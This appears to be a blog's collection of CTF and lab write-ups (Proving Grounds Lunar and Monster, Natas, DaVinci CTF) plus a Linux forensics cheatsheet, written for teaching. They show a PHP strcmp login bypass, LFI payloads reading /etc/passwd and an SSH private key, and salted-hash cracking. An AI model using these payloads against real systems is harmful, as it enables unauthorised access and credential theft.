A New Method A New Method

Proving Grounds-Lunar

Lunar is an “intermediate” rated box on Offensive Security’s “Proving Grounds: Practice” platform.

Offsec provides walkthroughs for their machines, but at times there are incongruities between what is stated and what works, I’d like to provide an alternative methodolgy, and hopefully show off some simpler techniques.

Lunar highlights reading source-code and exploiting PHP vulnerabilities.


We start off with our usual nmap scan:

sudo nmap -sS -sV -sC --min-rate=10000 -p- -oN fast-nmap -vv $target

And get back the following:

PORT      STATE SERVICE    REASON         VERSION                                                                                                           
22/tcp    open  ssh        syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)                                                                                      
| ssh-hostkey:                                                                                                                                              
|   3072 c1:99:4b:95:22:25:ed:0f:85:20:d3:63:b4:48:bb:cf (RSA)                
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDH6PH1/ST7TUJ4Mp/l4c7G+TM07YbX7YIsnHzq1TRpvtiBh8MQuFkL1SWW9+za+h6ZraqoZ0ewwkH+0la436t9Q+2H/Nh4CntJOrRbpLJKg4hChjgCHd5KiLCOKHhXPs/FA3mm0Zkzw1tVJLPR6R
|   256 0f:44:8b:ad:ad:95:b8:22:6a:f0:36:ac:19:d0:0e:f3 (ECDSA)                                                                                             
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI0EdIHR7NOReMM0G7C8zxbLgwB3ump+nb2D3Pe3tXqp/6jNJ/GbU2e4Ab44njMKHJbm/PzrtYzojMjGDuBlQCg=
|   256 32:e1:2a:6c:cc:7c:e6:3e:23:f4:80:8d:33:ce:9b:3a (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDCc0saExmeDXtqm5FS+D5RnDke8aJEvFq3DJIr0KZML                                                                          
80/tcp    open  http       syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))      
|_http-title: Lunar Studio                                                    
| http-methods:                                                                                                                                             
|_  Supported Methods: OPTIONS HEAD GET POST                            
|_http-favicon: Unknown favicon MD5: 3653AD3D6A33550E6E60970FA20E1E00                                                                                       
|_http-server-header: Apache/2.4.41 (Ubuntu)                                                                                                                
111/tcp   open  rpcbind    syn-ack ttl 63 2-4 (RPC #100000)
| rpcinfo:                                     
|   program version    port/proto  service                                                    
|   100000  2,3,4        111/tcp   rpcbind                                                    
|   100000  2,3,4        111/udp   rpcbind                                                    
|   100003  3           2049/udp   nfs         
|   100003  3,4         2049/tcp   nfs         
|   100005  1,2,3      34281/tcp   mountd                                                     
|   100005  1,2,3      38838/udp   mountd                                                     
|   100021  1,3,4      43931/tcp   nlockmgr                                                   
|   100021  1,3,4      59451/udp   nlockmgr                                                   
|   100227  3           2049/tcp   nfs_acl                                                    
|_  100227  3           2049/udp   nfs_acl                                                    
2049/tcp  open  nfs_acl    syn-ack ttl 63 3 (RPC #100227)                                     
34769/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
37039/tcp open  tcpwrapped syn-ack ttl 63                                                     
37645/tcp open  mountd     syn-ack ttl 63 1-3 (RPC #100005)                                   
40409/tcp open  tcpwrapped syn-ack ttl 63                                                     
43931/tcp open  nlockmgr   syn-ack ttl 63 1-4 (RPC #100021)                                   
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel  

Enumeration HTTP - Discovering backup.zip

There are a number of ports open, but since a lot of web enumeration entails a lot of fuzzing of the site, we’ll get started with fuzzing first.

We can use a number of techniques to get to the next stage, which will be finding an archive (.zip) file of some of the sites key files.

To find backup.zip, we can run nikto w/ the following:

nikto -h http://$target -o nikto.txt

and get the following output:

- Nikto v2.1.6/2.1.5
+ Target Port: 80
+ GET The anti-clickjacking X-Frame-Options header is not present.
+ GET The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ GET The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ OSVDB-630: GET The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "".
+ GET Server may leak inodes via ETags, header found with file /, inode: 49b7, size: 5ddbc015cc380, mtime: gzip
+ HEAD /backup.zip: Potentially interesting archive/cert file found.
+ HEAD /backup.zip: Potentially interesting archive/cert file found. (NOTE: requested by IP address).
+ GET Cookie PHPSESSID created without the httponly flag
+ OSVDB-3268: GET /css/: Directory indexing found.
+ OSVDB-3092: GET /css/: This might be interesting...
+ OSVDB-3268: GET /images/: Directory indexing found.
+ GET /login.php: Admin login page/section found.

We can also find the .zip using dirsearch or gobuster , here’s my dirsearch query:

#dirsearch.py -u $target -e html,php,txt,sh,zip -t 20 -r -f -x 400,401,404

and its output:

200     1MB

Note that, dirsearch uses the common.txt wordlist found, on Kali installations at /usr/share/dirb/wordlists/common.txt.

Extracting backup.zip and Reading Source

Ok, that now that we’ve found our way to the backup.zip file, we’ll extract it via whatever means work best for you. I like using 7z e backup.zip.

Once we’ve extracted our files, we’ll find we have a few .php files.


We can take a look at the target site and our earlier enumeration and see that we’re able to access the login.php page.

Looking at the source for this page we can find the following:

include 'creds.php';
$error = null;                                 
if ($_POST) {                  
  if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0) {
      $_SESSION['email'] = $_POST['email'];                                                   
      header('Location: dashboard.php');
  else {                                                                                      
      $error = "Email or password is incorrect.";                                             

The first thing we’ll notice is the use of the include statement pointing to creds.php, which will get referenced in a little bit.

Next, we’ll take a look at the following if statement:

if ($_POST['email'] && !empty($_POST['email']) && $_POST['email'] === 'liam@lunar.local' && strcmp($_POST['password'], $pwd) == 0)

The first part is taking the user input of the email variable and making sure that it’s equal to liam@lunar.local and then there’s the interesting part:

strcmp($_POST['password'], $pwd)

The php docs say strcmp function is:

strcmp — Binary safe string comparison

What’s interesting about the string comparison in our target’s source is the comparison to the $pwd variable. Since the variable isn’t declared on the login.php source, its likely compared to the $pwd varable declared in creds.php.

So, we need to either find a way to read creds.php OR find a way to bypass it.

And it turns our that strcmp is a strange function due to the quirks of PHP’s loose comparison understandings.

If we take a look at the following slides from an OWASP talk titled “PHP Magic Tricks: Type Juggling” (Page 34, 35, 36) we get a much better understanding of the dangers of the functions as well as its implementation here:

Looking at our source code snippet again:

strcmp($_POST['password'], $pwd)

We can see that the contents of that array is whatever we’ve sent. But PHP is kinda stupid, so what would happen if we sent along, just an empty array?

Using Burp we can intercept our POST request to login.php.

Here’s our original request:

POST /login.php HTTP/1.1

Host: target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 46
Connection: close
Cookie: PHPSESSID=u4jrbtublanh7khbhdluqhc3e3
Upgrade-Insecure-Requests: 1


We’ll modify the POST data to the following:


Here, we’re passing an empty array. Like in the slides from the OWASP talk, we’re telling PHP that the password equals NULL.

We send off the request and ….

We get a status code302 redirecting us to dashboard.php.

The following curl command will get us the same:

curl -i -s -k -X  POST -b 'PHPSESSID=u4jrbtublanh7khbhdluqhc3e3' --data-binary 'email=liam%40lunar.local&password[]=' http://$target/login.php

HTTP/1.1 302 Found
Date: Wed, 10 Aug 2022 19:48:23 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: dashboard.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Now that we’ve successfully bypassed the login page, we’ll see what vulns we can find in dashboard.php .

Which, I’ll post about in the next post.

If this post was helpful for you please feel free to reach out, or consider buying me a coffee.


Natas CTF Walkthrough

I wanted to write about the the Natas web application CTF. Its a fun little CTF, and great for beginners.

We can start off by reading the description hosted here at the NATAs website:

URL: http://natas0.natas.labs.overthewire.org

Challenge 0

For the first challenge, we’re already provided the username and password.

Username: natas0
Password: natas0
URL:      http://natas0.natas.labs.overthewire.org

Challenge 1

From here, we access the main page and are greeted with the message “You can find the password for the next level on this page.”

As a first, we always want to take a look at the source and find the password there.

# line 16 
<!--The password for natas1 is gtVrDuiDfck831PqWsLEZy5gyDz1clto -->

Challenge 2

You can find the password for the next level on this page, but rightclicking has been blocked!

Challenge 2 is similar and we can do it a few ways. The claim “ rightclicking has been disabled” isn’t entirely true, since we’re to do right-click in various browsers.

But we’ll honor the spirit of the challenge.

Method 1

We can simply modify the url to view-source:http://natas1.natas.labs.overthewire.org/

Method 2

Using curl, via the command line, we can can use the -u flag to pass the credentials for the level and read the source:

debian  ~  curl http://natas1.natas.labs.overthewire.org/ -u "natas1:gtVrDuiDfck831PqWsLEZy5gyDz1clto" | grep -i password
 You can find the password for the
<!--The password for natas2 is ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi -->

Challenge 3


login: natas2:ZluruAthQk7Q2MqmDeTiUij2ZvWy2mBi


There is nothing on this page

Once again, we’ll use our view-source super powers and take a look at what is going on on this page.

The source appears normal, with the exeception of the “files” directory on line 15.

There is nothing on this page
<img src="[files/pixel.png](view-source:http://natas2.natas.labs.overthewire.org/files/pixel.png)">

Navigating to the /files directory gives us a directory listing which contains the a .txt file called users.txt. Downloading or reading users.txt provides us with usernames, which include the credentials for our next level.

Contents of http://natas2.natas.labs.overthewire.org/files/users.txt

# username:password

Challenge 4


There is nothing on this page

Once again, we’re told nothing exists on the page, so we take a look at the source and are greeted with a small clue.

<div id="content">
There is nothing on this page
<!-- No more information leaks!! Not even Google will find it this time... -->

This is helpful. After looking at the source, we take a look at what google would first use for indexing the site, robots.txt. We find the following:

# contents of robots.txt 
# natas3.natas.labs.overthewire.org/robots.txt

User-agent: *
Disallow: /s3cr3t/

We head over the to the /s3cr3t directory and a directory listing with the file users.txt.

We read the contents of users.txt to get credentials for Level 5.

#contents of users.txt 


Challenge 5


Access disallowed. You are visiting from “http://natas4.natas.labs.overthewire.org/index.php” while authorized users should come only from “http://natas5.natas.labs.overthewire.org/”

We’re provided a “refresh page” link.

The “authorized users should come only from “http://natas5.natas.labs.overthewire.org/” is a great clue, and indicator that we might be able to easily bypass this page by manipulating the headers.

We can do this a few ways.

Method 1

We can intercept the request via burp and modify our GET request to to the following:

GET /index.php HTTP/1.1
X-Forwarded-For: http://natas5.natas.labs.overthewire.org/
Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://natas4.natas.labs.overthewire.org/index.php
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: close
Upgrade-Insecure-Requests: 1

Here, we’re simply abusing the X-Forwarded-For header and adding the url provided in the challenge clue.

Method 2

Once again, we can use curl to send our request:

curl -H "Referer: http://natas5.natas.labs.overthewire.org/" -u "natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" http://natas4.natas.labs.overthewire.org/index.php

Where -H modifies the Referer: header and we again use -u to pass our natas4 credentials.

We get back the following:

debian  curl -H "Referer: http://natas5.natas.labs.overthewire.org/" -u "natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ" http://natas4.natas.labs.overthewire.org/index.php | grep -i password

<--- snip --> 

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq

I’ll be updating this page as we progress through the challenges.

Linux Forensics Cheatsheet

Recently, I finished up the LInux Forensics Room on TryHackMe and found a lot of really great refreshers on concepts I think are relevant for Penetration Testers, CTF Players and wannabe Red Teamers.

Here’s my LInux Forensics cheatsheet, its also available on Github.

 OS and account information

Getting release information:

cat  /etc/os-release

Finding User Accounts:

The passwd is usually world readable by default and can be used to enumerate other users on the machine.

cat /etc/passwd

We can clean up the output w/ the following:

cat /etc/passwd | column -t -s :

Group Information

We can get information about groups in the following way: /etc/group


user@machine$ cat /etc/group 

Here’ we can see the user adm belongs to the syslog and ubuntu groups.

The x signifies that the user has a password stored in the /etc/shadow file.

Sudoers List

We can view the sudoers list, or users allowed to upgrade their privileges by viewing. /etc/sudoers

Login information

Found in the /var/log, we can view log files. These include:

- wtmp
- btmp

These contain information about failed logins. wtmp keeps historical data about logins. These files are binary files and can be viewed with the last command.

Authentication logs

All authenticagted users are logged in the authlog. These can be found at:


You’ll need to be root or allowed to view these files.

Example usage:

cat /var/log/auth.log | tail



cat /etc/hostname


cat /etc/timezone

Network Configuration


Active network connections

We primarly will use system tools like netstat

netstat -pant

Running processes

ps aux

DNS information

Files like /etc/hosts contain configuration information for DNS assignments.

cat /etc/hosts

Information about DNS resolvers (how linux hosts talks to DNSServers) can be found in /etc/resolv.conf

cat /etc/resolv.conf

Persistence Mechanisms

Cron jobs

cat /etc/crontab

Service startup

cat /etc/init.d


When a bash shell is started it runs commands through the .bashrc file which can be found in the users home directory. /var/ cat ~/.bashrc

Sudo execution history

All the commands that are run on a Linux host using sudo are stored in the auth log. We already learned about the auth log in Task 3. We can use the grep utility to filter out only the required information from the auth log.

user@machine$ cat /var/log/auth.log* |grep -i COMMAND|tail

Bash history

Any commands other than the ones run using sudo are stored in the bash history. Every user’s bash history is stored separately in that user’s home folder. Therefore, when examining bash history, we need to get the bash_history file from each user’s home directory. It is important to examine the bash history from the root user as well, to make note of all the commands run using the root user as well.

user@machine$ cat ~/.bash_history

Files accessed using vim

Vim keeps logs. So we can and should access these:

cat ~/.viminfo

Log FIles

Log files are insanely important for forensics investigations.

Log files can be found at: /var/log


The Syslog contains messages that are recorded by the host about system activity. The detail is configurable through the logging level.

We can use cat, head, more, and `less.


cat /var/log/syslog* | head

Auth logs

cat /var/log/auth.log* |head

Third Party Logs

Similar to sys and auth logs we can find other types of logs in /var/log/.

Proving Grounds-Monster (Part 1)

Previously on…

After exploiting a weak password vulnerability, we gain admin access to the monster.pg blog. The blog is running monstra 3.0.4 which is vulnerable to a number of known exploits, but they appear to have been patched on the target.

Using the sites’s functionality we’re able to download a copy of the website and find the users.table.xml file which appears to contain some password hashes.

Hash cracking

With the previously found hashes:

< ...snip...>

< ...end-snip...>

Note: I’m not providing the real hashes in this walkthrough.

We can defintely crack the hashes with something like John or Hashcat, but it’ll take a lot longer without some recon or enumeration on the hashes.

Luckly, we’ve already “cracked” one user; admin:wazowski and have the hash, provided for us. So we can do some work out how how hashes are made on the blog, and then work to create a strategy for how to crack these hashes.

Finding the Salt

Salts should be random, but its worth checking the source of the Monstra CMS to see what the default is:

Line 66 of the source.

Googling around would also have helped us, as it would have turned up this HacktheBox CTF write-up.

Now that we know how the salts were created, we’ll combine this with our known password, and hash to confirm that the site is using the default salt of YOUR_SALT_HERE.


MATT0177, says it well, when describing the use case for mdxfind:

Most password cracking programs require three things. A list of the hashes you want to crack, the algorithm that they’re in and a dictionary that you would like to use for your attempts. MDXFIND is for when you have hashes and a dictionary, but you’re not sure what format the hashes are in.


You can grab a copy of mdxfind at https://hashes.org/mdxfind.php.

I recommend running mdxfind with the -h flag to get familar with it. mdxfind reads from source files, so we’ll create the files required for it to work.

  • Place YOUR_SALT_HERE in a file named salt.txt
  • Create a file named password.txt with wazowski in it.

Now we’ll pass our hash to mdxfind, making sure to let mdxfind know we’re looking at an MD5 hash. We’ll provide it with the salt.txt and password.txt files. Finally, we’ll try a few iterations, like 4 just to start off.

Out final command will look something like this:

echo "a2b4e80ad640abbb6e417febe095dcbfc" | ./mdxfind -h 'MD5' -s salt.txt password.txt -i 4

Run correctly, and our output should have something like this at the end.

1 total salts in use
Generated 19998 Userids
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 a2b4e80cd640aaa6e417febe095dcbfc:YOUR_SALT_HERE:wazowski

Done - 2 threads caught
1 lines processed in 0 seconds
1.00 lines per second
0.15 seconds hashing, 1,638,403 total hash calculations
10.68M hashes per second (approx)
1 total files
1 MD5PASSSALTx02 hashes found
1 Total hashes found

Cool! So we’ve confirmed that the salt used with these hashes is the laugable default hash in the app source: YOUR_SALT_HERE.

With this work done, we can now work to crack that other hash we found.

Cracking MD5 salted Hashes with mdxfind

If we run the same command as above, and provide the mike user’s hash;

echo "844ffc2c7150b93c4133a6ff2e1a2dba" | ./mdxfind -h 'MD5PASSSALT' -s salt.txt rockyou.txt -i 2

We should get back the user’s password.

1 salts read from salt.txt
Iterations set to 2
1 total salts in use
Reading hash list from stdin...
Took 0.00 seconds to read hashes
Searching through 1 unique hashes from <STDIN>
Maximum hash chain depth is 1
Minimum hash length is 32 characters
Using 2 cores
MD5PASSSALTx02 844ffc2c7150b93c4133a6ff2e1a2dba:YOUR_SALT_HERE:Mike14

With this password in hand we can look back at our notes so far and remember where we might be able to use this.

RDP seems like a good idea.

In the next post on this machine, we’ll talk a little about Windows Privilege Escalation.

Davinci CTF 2022-Pentest Part 1

This past weekend, the DaVinciCode hosted a CTF titled “DaVinciCTF 2022” and it was a great fun to try and improve on all the challenges. You can check out on CTFTime as well as their site: https://dvc.tf/

Today, we’ll be looking at the “pentesting” challenge: DaVinci's Playlist : Part 1


The challenge site is still up, so feel free to follow along.


Helpfully, the site organizers let us know that we won’t need to bruteforce anything for this challenge.

After reading the challenge description, I visited the target site. I started up BurpSuite, so as to be sure to capture requests.

After watching a few music videos, I take a look at the application, I can see it’s passing data via 2 parameters:


So my first attempt is to try adding a single quote (‘) to the those parameters. Here’s one of my requests:

GET /?MyTop5=5&playlistTop=TopRapUS' HTTP/1.1

and there’s something interesting in the response source:


From here, I tried a few other things, like trying to read the flag, but using a php filter was more useful, so I snagged the source, using the following payload.

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=index.php

I get back the following wad of base64:


and after a decode we get the following:

<!DOCTYPE html>

    <title>My Top 5</title>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.12.0/css/all.css" integrity="sha384-ekOryaXPbeCpWQNxMwSWVvQ0+1VrStoPJq54shlYhR8HzQgig1v5fas6YgOqLoKz" crossorigin="anonymous">
    <link rel="stylesheet" href="assets/css/bootstrap.min.css">
    <link rel="stylesheet" href="assets/css/style.css">

if (isset($_GET['MyTop5'])) {
    $top = $_GET['MyTop5'];
} else {
    $top = "1";

if (isset($_GET['playlistTop'])) {
    $playlist = $_GET['playlistTop'];
} else {
    $playlist = "TopRapUS";

if (isset($playlist) && isset($top)) {
    $handle = fopen($playlist, "r");
    if ($handle) {
        $tag = "";
        $counter = 0;
        while (($line = fgets($handle)) !== false) {
            if ($counter + 1 == $top) {
                $tag = $line;
<div class="p-4 text-center bg-image" >
<div class="card mx-auto" style="width: 60%; margin-top: 4%;">
    <div class="text-center">

        <h1><b><u>Top Songs</u></b></h1>
        <iframe src="http://www.youtube.com/embed/<?php echo $tag; ?>" width="560" height="315" frameborder="0" allowfullscreen></iframe>

            <form method="get">
                <input type="radio" id="video1" name="MyTop5" value="1" <?php if( !(isset($_GET['MyTop5'])) || (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '1')) echo ' checked="checked"'?>>
                <label for="video1">Top 1</label>

                <input type="radio" id="video2" name="MyTop5" value="2" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '2')) echo ' checked="checked"'?>>
                <label for="video2">Top 2</label>

                <input type="radio" id="video3" name="MyTop5" value="3" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '3')) echo ' checked="checked"'?>>
                <label for="video3">Top 3</label>

                <input type="radio" id="video4" name="MyTop5" value="4" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '4')) echo ' checked="checked"'?>>
                <label for="video4">Top 4</label>

                <input type="radio" id="video5" name="MyTop5" value="5" <?php if( (isset($_GET['MyTop5']) && $_GET['MyTop5'] == '5')) echo ' checked="checked"'?>>
                <label for="video5">Top 5</label>



                <form method="post">
                    <input type="radio" id="TOP" name="playlistTop" value="TopRapUS" <?php if( !(isset($_GET['playlistTop'])) || (isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapUS')) echo ' checked="checked"'?>>
                    <label for="video1">Rap US</label>

                    <input type="radio" id="TOP" name="playlistTop" value="TopRapFr" <?php if((isset($_GET['playlistTop']) && $_GET['playlistTop'] == 'TopRapFr')) echo ' checked="checked"'?>>
                    <label for="video2">Rap FR </label>
                        <button class="btn btn-dark" type="submit">Submit</button>



Now, with source in hand we can see its an LFI challenge at first.

LFI Enumeration

The fopen() hints at the LFI earlier, so we can do something as simple as adding /etc/passwd to our GET request.


GET /?MyTop5=5&playlistTop=/etc/passwd HTTP/1.1

and we get back the following:

Now, we’ve confirmed we can read files, I’ll combine the 2 to get read encode the /etc/passwd file:

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/etc/passwd



You can use cyberchef or the terminal to decode the base64 and we get back our file:

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false

From here, we can see the user leonardo and the administrator user.

We have read access to leonardo’s ssh key via /home/leonardo/.ssh/id_rsa

GET /?MyTop5=1&playlistTop=php://filter/convert.base64-encode/resource=/home/leonardo/.ssh/id_rsa HTTP/1.1

After decoding we get the following:


and updating the permissions on the file we now have ssh access!

I’ll go over the 2nd part of the challenge in a later post.